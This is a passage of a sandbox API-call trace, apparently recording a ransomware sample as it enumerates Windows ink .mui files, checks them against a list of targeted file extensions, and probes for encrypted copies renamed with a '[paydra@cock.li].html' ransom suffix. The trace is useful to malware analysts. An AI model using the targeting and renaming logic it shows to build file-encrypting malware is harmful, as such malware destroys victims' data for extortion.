Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.276] lstrlenW (lpString=".zip") returned 4 [0057.276] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.276] lstrlenW (lpString=".rar") returned 4 [0057.276] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.276] lstrlenW (lpString=".bz2") returned 4 [0057.276] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.276] lstrlenW (lpString=".7z") returned 3 [0057.276] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.276] lstrlenW (lpString=".dbf") returned 4 [0057.276] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.276] lstrlenW (lpString=".1cd") returned 4 [0057.276] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.276] lstrlenW (lpString=".jpg") returned 4 [0057.276] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.276] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.276] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.402] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=4096) returned 1 [0057.402] CloseHandle (hObject=0x234) returned 1 [0057.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0057.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.403] lstrlenW (lpString=".doc") returned 4 [0057.403] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.403] lstrlenW (lpString=".docx") returned 5 [0057.403] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.403] lstrlenW (lpString=".pdf") returned 4 [0057.403] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.403] lstrlenW (lpString=".xls") returned 4 [0057.403] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.403] lstrlenW (lpString=".xlsx") returned 5 [0057.403] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.403] lstrlenW (lpString=".ppt") returned 4 [0057.403] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.403] lstrlenW (lpString=".zip") returned 4 [0057.403] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.403] lstrlenW (lpString=".rar") returned 4 [0057.403] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.403] lstrlenW (lpString=".bz2") returned 4 [0057.403] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.403] lstrlenW (lpString=".7z") returned 3 [0057.403] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.403] lstrlenW (lpString=".dbf") returned 4 [0057.403] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.403] lstrlenW (lpString=".1cd") returned 4 [0057.403] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.403] lstrlenW (lpString=".jpg") returned 4 [0057.403] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.404] lstrlenW (lpString=".doc") returned 4 [0057.404] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.404] lstrlenW (lpString=".docx") returned 5 [0057.404] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.404] lstrlenW (lpString=".pdf") returned 4 [0057.404] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.404] lstrlenW (lpString=".xls") returned 4 [0057.404] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.404] lstrlenW (lpString=".xlsx") returned 5 [0057.404] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.404] lstrlenW (lpString=".ppt") returned 4 [0057.404] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.404] lstrlenW (lpString=".zip") returned 4 [0057.404] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.404] lstrlenW (lpString=".rar") returned 4 [0057.404] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.404] lstrlenW (lpString=".bz2") returned 4 [0057.404] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.404] lstrlenW (lpString=".7z") returned 3 [0057.404] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.404] lstrlenW (lpString=".dbf") returned 4 [0057.404] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.404] lstrlenW (lpString=".1cd") returned 4 [0057.404] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0057.404] lstrlenW (lpString=".jpg") returned 4 [0057.404] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.405] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.405] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.405] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=4096) returned 1 [0057.405] CloseHandle (hObject=0x234) returned 1 [0057.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0057.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.406] lstrlenW (lpString=".doc") returned 4 [0057.406] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.406] lstrlenW (lpString=".docx") returned 5 [0057.406] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.406] lstrlenW (lpString=".pdf") returned 4 [0057.406] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.406] lstrlenW (lpString=".xls") returned 4 [0057.406] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.406] lstrlenW (lpString=".xlsx") returned 5 [0057.406] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.406] lstrlenW (lpString=".ppt") returned 4 [0057.406] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.406] lstrlenW (lpString=".zip") returned 4 [0057.406] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.406] lstrlenW (lpString=".rar") returned 4 [0057.406] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.406] lstrlenW (lpString=".bz2") returned 4 [0057.406] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.406] lstrlenW (lpString=".7z") returned 3 [0057.406] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.406] lstrlenW (lpString=".dbf") returned 4 [0057.406] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.406] lstrlenW (lpString=".1cd") returned 4 [0057.406] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.406] lstrlenW (lpString=".jpg") returned 4 [0057.406] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.407] lstrlenW (lpString=".doc") returned 4 [0057.407] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.407] lstrlenW (lpString=".docx") returned 5 [0057.407] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.407] lstrlenW (lpString=".pdf") returned 4 [0057.407] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.407] lstrlenW (lpString=".xls") returned 4 [0057.407] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.407] lstrlenW (lpString=".xlsx") returned 5 [0057.407] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.407] lstrlenW (lpString=".ppt") returned 4 [0057.407] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.407] lstrlenW (lpString=".zip") returned 4 [0057.407] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.407] lstrlenW (lpString=".rar") returned 4 [0057.407] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.407] lstrlenW (lpString=".bz2") returned 4 [0057.407] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.407] lstrlenW (lpString=".7z") returned 3 [0057.407] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.407] lstrlenW (lpString=".dbf") returned 4 [0057.407] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.407] lstrlenW (lpString=".1cd") returned 4 [0057.407] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0057.407] lstrlenW (lpString=".jpg") returned 4 [0057.407] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.408] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.408] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.408] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=3584) returned 1 [0057.408] CloseHandle (hObject=0x234) returned 1 [0057.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0057.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.408] lstrlenW (lpString=".doc") returned 4 [0057.409] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.409] lstrlenW (lpString=".docx") returned 5 [0057.409] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.409] lstrlenW (lpString=".pdf") returned 4 [0057.409] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.409] lstrlenW (lpString=".xls") returned 4 [0057.409] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.409] lstrlenW (lpString=".xlsx") returned 5 [0057.409] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.409] lstrlenW (lpString=".ppt") returned 4 [0057.409] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.409] lstrlenW (lpString=".zip") returned 4 [0057.409] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.409] lstrlenW (lpString=".rar") returned 4 [0057.409] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.409] lstrlenW (lpString=".bz2") returned 4 [0057.409] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.409] lstrlenW (lpString=".7z") returned 3 [0057.409] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.409] lstrlenW (lpString=".dbf") returned 4 [0057.409] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.409] lstrlenW (lpString=".1cd") returned 4 [0057.409] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.409] lstrlenW (lpString=".jpg") returned 4 [0057.409] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.409] lstrlenW (lpString=".doc") returned 4 [0057.410] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.410] lstrlenW (lpString=".docx") returned 5 [0057.410] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.410] lstrlenW (lpString=".pdf") returned 4 [0057.410] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.410] lstrlenW (lpString=".xls") returned 4 [0057.410] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.410] lstrlenW (lpString=".xlsx") returned 5 [0057.410] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.410] lstrlenW (lpString=".ppt") returned 4 [0057.410] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.410] lstrlenW (lpString=".zip") returned 4 [0057.410] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.410] lstrlenW (lpString=".rar") returned 4 [0057.410] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.410] lstrlenW (lpString=".bz2") returned 4 [0057.410] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.410] lstrlenW (lpString=".7z") returned 3 [0057.410] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.410] lstrlenW (lpString=".dbf") returned 4 [0057.410] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.410] lstrlenW (lpString=".1cd") returned 4 [0057.410] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0057.410] lstrlenW (lpString=".jpg") returned 4 [0057.410] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.411] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.411] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.411] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=4096) returned 1 [0057.411] CloseHandle (hObject=0x234) returned 1 [0057.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0057.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.411] lstrlenW (lpString=".doc") returned 4 [0057.411] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.411] lstrlenW (lpString=".docx") returned 5 [0057.411] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.411] lstrlenW (lpString=".pdf") returned 4 [0057.412] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.412] lstrlenW (lpString=".xls") returned 4 [0057.412] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.412] lstrlenW (lpString=".xlsx") returned 5 [0057.412] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.412] lstrlenW (lpString=".ppt") returned 4 [0057.412] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.412] lstrlenW (lpString=".zip") returned 4 [0057.412] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.412] lstrlenW (lpString=".rar") returned 4 [0057.412] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.412] lstrlenW (lpString=".bz2") returned 4 [0057.412] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.412] lstrlenW (lpString=".7z") returned 3 [0057.412] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.412] lstrlenW (lpString=".dbf") returned 4 [0057.412] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.412] lstrlenW (lpString=".1cd") returned 4 [0057.412] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.412] lstrlenW (lpString=".jpg") returned 4 [0057.412] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.412] lstrlenW (lpString=".doc") returned 4 [0057.412] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.412] lstrlenW (lpString=".docx") returned 5 [0057.412] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.412] lstrlenW (lpString=".pdf") returned 4 [0057.413] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.413] lstrlenW (lpString=".xls") returned 4 [0057.413] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.413] lstrlenW (lpString=".xlsx") returned 5 [0057.413] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.413] lstrlenW (lpString=".ppt") returned 4 [0057.413] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.413] lstrlenW (lpString=".zip") returned 4 [0057.413] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.413] lstrlenW (lpString=".rar") returned 4 [0057.413] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.413] lstrlenW (lpString=".bz2") returned 4 [0057.413] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.413] lstrlenW (lpString=".7z") returned 3 [0057.413] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.413] lstrlenW (lpString=".dbf") returned 4 [0057.413] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.413] lstrlenW (lpString=".1cd") returned 4 [0057.413] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0057.413] lstrlenW (lpString=".jpg") returned 4 [0057.413] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.413] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.413] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0057.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.414] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=3584) returned 1 [0057.414] CloseHandle (hObject=0x234) returned 1 [0057.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0057.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0057.415] CreateFileW 